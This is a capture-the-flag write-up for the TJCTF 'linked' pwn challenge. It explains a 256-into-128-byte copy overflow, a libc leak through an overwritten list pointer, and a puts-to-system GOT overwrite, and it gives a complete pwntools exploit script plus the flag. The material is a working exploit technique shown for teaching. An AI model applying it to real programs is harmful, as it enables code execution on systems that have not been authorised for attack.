TJCTF | linked , PWN challenge writeup
explanation and thought process for solving the last pwn challenge 'linked' . I played with WorldWideFlags and we got π₯ 3rd place . I also used to hate regex now i hate it even more .
| EDIT : this writeup later won the best writeup award . |
reading source code :
we were provided source code for this challenge , letβs analyse itβs main components :
- main function
int main() {
char inputBuffer[256] = {'\0'};
struct eventList events;
events.head = malloc(sizeof(struct event));
events.head->next = NULL;
events.head->time = 0;
events.size = 1;
setbuf(stdout, NULL);
for (int i = 0; i < 2; i++) {
puts("Add an event to your calendar:");
struct event *cur = events.head;
while (cur->next != NULL) {
cur = cur->next;
}
cur->next = malloc(sizeof(struct event));
cur->next->next = NULL;
cur->next->time = 0;
events.size++;
printf("Event time? (1-24) ");
fgets(inputBuffer, sizeof(inputBuffer), stdin);
int t = atoi(inputBuffer);
if (t == 0) {
free(cur->next);
cur->next = NULL;
events.size--;
printf("Invalid integer: %s\n", inputBuffer);
continue;
}
cur->time = t;
printf("Event name? ");
fgets(inputBuffer, sizeof(inputBuffer), stdin);
inpcpy(cur->name, inputBuffer);
displayEvents(&events);
}
puts("2 events and still couldn't get the flag?");
puts("smhmh");
puts("just run like...");
puts("cat flag.txt");
puts("or something like that");
return 0;
}
looks like weβre going in a loop that has 2 iterations , in each iteration weβre gonna
- allocate a struct of type
event - fill this
eventobject elements , maybe directly from our input or by using theincpyfunction - display the event objects created previously again this is just a speculation so lets dive into the rest of the code
- event struct and head :
struct event {
int time;
char name[128];
struct event *next;
};
struct eventList {
int size;
struct event *head;
};
- our
eventstruct looks like a typicalsingly linked listdata structure , with int time and string name as itβs elements , and next being a pointer to the nexteventobject in the list eventListis also a typical linked list head , storing the number of the linked list nodes (also called objects) and the head node .
- incpy():
void inpcpy(char *dst, char *src) {
int ind = 0;
while (src[ind] != '\n') {
dst[ind] = src[ind];
ind++;
}
}
this function is a simple copy until you receive a newline , very sussy and dangerous function that doesnt take into its parameters any hint about how many bytes you should copy from src to dst , so this will most probably result in a BOF .
- displayEvents()
void displayEvents(struct eventList *events) {
puts("Calendar events:");
struct event *cur = events->head;
for (int i = 0; i < events->size; i++) {
if (cur->time == 0) {
break;
}
printf("%u:00 - %s\n", cur->time, cur->name);
cur = cur->next;
}
printf("\n\n");
}
this function prints the time (int) and the name (string) of each event object in our linked list .
understanding source code :
now that we have somewhat of an idea about the source code , lets reread the main function to understand each line of it .
- before the loop (usually setup) , we declare a head for our linked list in the variable
events, and we immediatly allocate a node (eventobject) and we assign the head of the linked list to it - what happens in each iteration of the loop ?
- we go to last element in the linked list by navugating the next pointer until we reach an object where ``next==null` , in other words no next element
struct event *cur = events.head; while (cur->next != NULL) { cur = cur->next; }- we allocate a new node and set it to the last node , so the node weβll be interacting with will be the one allocated in setup for the first iteration , and the one allocated in first iteration for the second iteration
- read a valid time integer into it , otherwise it skips this iteration
- then we read a name into this stack variable
char inputBuffer[256]with the its correct size byu usingsizeof(inputBuffer). this means there is no overflow right ? right this moment i asked myself these 2 questions .- our input isnβt directly read into our allocated node , its read into a stack variable . so there must a copy function used to later copy our input read from this stack variable to our node . looking a little bit further , turns out to be the
incpyfunction - is the size read (in our case 256) the same as the true size of the
name stringof our node allocated ? looking atchar name[128];in the struct definition immediatly answers our suspicion . and the answer is no , itβs much smaller than i thought (thats what she said) . - so combining our 2 questions and their answers , we get this conclusion .
- our input isnβt directly read into our allocated node , its read into a stack variable . so there must a copy function used to later copy our input read from this stack variable to our node . looking a little bit further , turns out to be the
we are reading a 256 byte string then we gonna copy that string into a 128 byte string until we encounter a newlineΒ Β»> OVERFLOW
- the last part after was just some random messages printed with puts . BUT this looks very suspicous
puts("cat flag.txt");if youβve wasted enough time from your life on pwn , youβd probably noticed that this might be a time saviour , as overwriting the puts GOT entry with system would be GG , and we wont need the casual system(β/bin/shβ) that would require more setup and work . we will try to go for this approach , if you have no idea about got hijacking , these are for you link1 link2 .
strategy and exploitation :
so we got our buffer overflow in the name variable , what can we do with it ?
notice first that our file has PIE off
$ checksec --file=main
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
this means that we know the addresses of the executable . so our plan is this
- get libc leak , so that way we can calculate addr of
system - overwrite
Puts GOT entrywithsystem. - when
puts("cat flag.txt");gets called , what gets executed is thissystem("cat flag.txt");
what you need to remember :
- we have two iteration in our for loop so weβll try to do each step in an iteration
- we have a function that displays names from nodes
- we know the GOT entry addresses of all functions as PIE is off
small note : the program always allocates a blank node in our linked list , so the node weβll be reading into , isnt the last one but the one before , so the layout in memory will be something similar
ββββββββ-the node weβre reading intoββββββ-
ββββββ- time: int
ββββββ- name : string
ββββββ- name : string
ββββββ- name : string
ββββββ- name : string
ββββββ- next1 : pointer
ββββββββ-blank node ββββββ-
ββββββ- time: int
ββββββ- name : string
ββββββ- name : string
ββββββ- name : string
ββββββ- name : string
ββββββ- next2 : pointer
what are the good targets that we can overwrite using this bof ? :
- name of the blank node ? useless . no
- next2 ? good start but no
- heap metadata ? we dont have much control over the program so most probably no
-
next1 ? took some time but yeah . why ? suppose we overwrite it with address X . X will be the last node of the linked list instead of that blank node . and itβs contents will be printed , the first 4 bytes as int
("%d")and the next bytes as string("%s"), why in normal case wasnt that blank node printed ? in fact it was trying to be printed , but as itstimeis 0 , it fails on this checkif (cur->time == 0) { break; }
this gives us a very good read primitive , imagine X =&GOT_Puts -4 , then the name attribue will be &GOT_puts and it will print the &Puts from libc . this would be clean but look at this

time would be the second half of GOT_free which is zero because the function was never called yet , so its address was still a plt entry .
so our approach should be X =&GOT_Puts , have the first bytes be leaked as int , and second half as raw bytes

this would also grant us arbitrary write on this chunk , given what i explained in understanding source code , in the next iteration , the chunk weβll be dealing with is the latest chunk , in other words X .
so again we write its first 4 bytes as int (in time attribute) , and the latter 4 bytes as string (in name attribute)
solver :
from pwn import *
from time import sleep
context.arch = 'amd64'
def debug():
if local<2:
gdb.attach(p,'''
''')
############### files setup ###############
local=len(sys.argv)
exe=ELF("./main_patched")
libc=ELF("./libc.so.6")
nc="nc tjc.tf 31509"
port=int(nc.split(" ")[2])
host=nc.split(" ")[1]
############### remote or local ###############
if local>1:
p=remote(host,port)
else:
p=process([exe.path])
############### helper functions ##############
def send():
pass
############### main exploit ###############
p.recvuntil("Event time? (1-24)")
p.sendline("1")
debug()
p.recvuntil("Event name? ")
p.sendline(b"a"*0x84+p64(exe.got.puts))
p.recvuntil(b"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x08@@\n")
libc.address=int(p.recvuntil(b":")[:-1])
p.recvuntil(b"- ")
libc.address=libc.address | (u16(p.recv(2))<<32)
libc.address-=0x87be0
log.info(hex(libc.address))
p.recvuntil("Event time? (1-24)")
p.sendline(str(libc.symbols.system&0xffffffff))
p.recvuntil("Event name? ")
p.sendline(p32(libc.symbols.system>>32))
p.interactive()
thanks for sticking out this long , hope you liked this scuffed writeup and see you on the rift .
tjctf{i_h0pe_my_tre3s_ar3nt_b4d_too}
If regex has a million haters Iβm one of them. If it has one hater itβs me. If it has 0 haters I have died. If the world is against regex I am with the world, if the world is for regex I am against the world.